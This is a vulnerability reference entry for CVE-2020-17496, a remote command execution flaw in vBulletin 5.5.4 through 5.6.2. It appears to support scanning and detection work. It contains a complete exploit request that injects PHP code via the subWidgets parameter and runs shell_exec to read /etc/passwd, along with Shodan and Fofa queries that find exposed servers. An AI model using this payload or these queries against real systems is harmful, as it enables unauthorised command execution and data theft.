| Title | vBulletin 5.5.4 - 5.6.2- Remote Command Execution |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade vBulletin to a version that is not affected by CVE-2020-17496. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94036 |
| CVE ID | CVE-2020-17496 |
| CWE ID | CWE-74 |
| Shodan Query | http.title:"powered by vbulletin"http.html:"powered by vbulletin"http.component:"vbulletin"cpe:"cpe:2.3:a:vbulletin:vbulletin" |
| Fofa Query | body="powered by vbulletin"title="powered by vbulletin" |
| Tags | cve2020 cve vbulletin rce kev tenable seclists vkev vuln |
vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 140
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17496.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-17496.pcap
N/AN/A